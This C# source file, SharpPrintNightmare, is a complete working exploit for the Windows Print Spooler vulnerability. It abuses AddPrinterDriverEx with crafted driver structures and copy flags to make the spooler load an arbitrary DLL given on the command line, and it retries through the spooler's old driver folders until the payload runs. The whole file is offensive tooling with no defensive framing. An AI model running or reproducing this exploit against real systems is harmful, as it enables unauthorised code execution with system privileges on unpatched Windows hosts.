using System; using System.ComponentModel; using System.IO; using System.Runtime.InteropServices; namespace SharpPrintNightmare { class Program { [DllImport("kernel32.dll")] static extern uint GetLastError(); [DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)] public static extern bool AddPrinterDriverEx([Optional] string pName, uint Level, [In, Out] IntPtr pDriverInfo, uint dwFileCopyFlags); //https://www.pinvoke.net/default.aspx/winspool/EnumPrinterDrivers.html [DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)] static extern bool EnumPrinterDrivers(String pName, String pEnvironment, uint level, IntPtr pDriverInfo, uint cdBuf, ref uint pcbNeeded, ref uint pcRetruned); public struct DRIVER_INFO_2 { public uint cVersion; [MarshalAs(UnmanagedType.LPTStr)] public string pName; [MarshalAs(UnmanagedType.LPTStr)] public string pEnvironment; [MarshalAs(UnmanagedType.LPTStr)] public string pDriverPath; [MarshalAs(UnmanagedType.LPTStr)] public string pDataFile; [MarshalAs(UnmanagedType.LPTStr)] public string pConfigFile; } // 3.1.4.4.8 RpcAddPrinterDriverEx Values public static uint APD_STRICT_UPGRADE = 0x00000001; public static uint APD_STRICT_DOWNGRADE = 0x00000002; public static uint APD_COPY_ALL_FILES = 0x00000004; public static uint APD_COPY_NEW_FILES = 0x00000008; public static uint APD_COPY_FROM_DIRECTORY = 0x00000010; public static uint APD_DONT_COPY_FILES_TO_CLUSTER = 0x00001000; public static uint APD_COPY_TO_ALL_SPOOLERS = 0x00002000; public static uint APD_INSTALL_WARNED_DRIVER = 0x00008000; public static uint APD_RETURN_BLOCKING_STATUS_CODE = 0x00010000; static void Main(string[] args) { string dllpath; if (args == null || args.Length == 0) { Console.WriteLine("Need an argument containing the dll path"); Console.WriteLine(".\\SharpPrintNightmare.exe C:\\addCube.dll"); Environment.Exit(0); } dllpath = args[0]; Console.WriteLine("[*] Try 1..."); addPrinter(dllpath); Console.WriteLine("[*] Try 2..."); addPrinter(dllpath); Console.WriteLine("[*] Try 3..."); addPrinter(dllpath); } static void addPrinter(string dllpath) { DRIVER_INFO_2[] drivers = getDrivers(); string pDriverPath = Directory.GetParent(drivers[0].pDriverPath).FullName + "\\UNIDRV.DLL"; Console.WriteLine($"[*] pDriverPath Found {pDriverPath}"); Console.WriteLine($"[*] Executing {dllpath}"); //DRIVER_INFO_2 Level2 = drivers[0]; DRIVER_INFO_2 Level2 = new DRIVER_INFO_2(); Level2.cVersion = 3; Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll"; Level2.pDataFile = dllpath; Level2.pDriverPath = pDriverPath; Level2.pEnvironment = "Windows x64"; Level2.pName = "12345"; string filename = Path.GetFileName(dllpath); uint flags = APD_COPY_ALL_FILES | 0x10 | 0x8000; //convert struct to unmanage code IntPtr pnt = Marshal.AllocHGlobal(Marshal.SizeOf(Level2)); Marshal.StructureToPtr(Level2, pnt, false); //call AddPrinterDriverEx AddPrinterDriverEx(null, 2, pnt, flags); Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error()); Marshal.FreeHGlobal(pnt); for (int i = 1; i <= 30; i++) { //add path to our exploit Level2.pConfigFile = $"C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{i}\\{filename}"; //convert struct to unmanage code IntPtr pnt2 = Marshal.AllocHGlobal(Marshal.SizeOf(Level2)); Marshal.StructureToPtr(Level2, pnt2, false); //call AddPrinterDriverEx AddPrinterDriverEx(null, 2, pnt2, flags); int errorcode = Marshal.GetLastWin32Error(); Marshal.FreeHGlobal(pnt2); if(errorcode == 0) { Console.WriteLine($"[*] Stage {i}: " + errorcode); Console.WriteLine($"[+] Exploit Completed"); Environment.Exit(0); } } } static DRIVER_INFO_2[] getDrivers() { uint cbNeeded = 0; uint cReturned = 0; if (EnumPrinterDrivers(null, null, 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned)) { //succeeds, but shouldn't, because buffer is zero (too small)! throw new Exception("EnumPrinters should fail!"); } int lastWin32Error = Marshal.GetLastWin32Error(); //ERROR_INSUFFICIENT_BUFFER = 122 expected, if not -> Exception if (lastWin32Error != 122) { throw new Win32Exception(lastWin32Error); } IntPtr pAddr = Marshal.AllocHGlobal((int)cbNeeded); if (EnumPrinterDrivers(null, null, 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned)) { DRIVER_INFO_2[] printerInfo2 = new DRIVER_INFO_2[cReturned]; long offset; offset = pAddr.ToInt64(); Type type = typeof(DRIVER_INFO_2); int increment = Marshal.SizeOf(type); for (int i = 0; i < cReturned; i++) { printerInfo2[i] = (DRIVER_INFO_2)Marshal.PtrToStructure(new IntPtr(offset), type); offset += increment; } Marshal.FreeHGlobal(pAddr); return printerInfo2; } throw new Win32Exception(Marshal.GetLastWin32Error()); } } }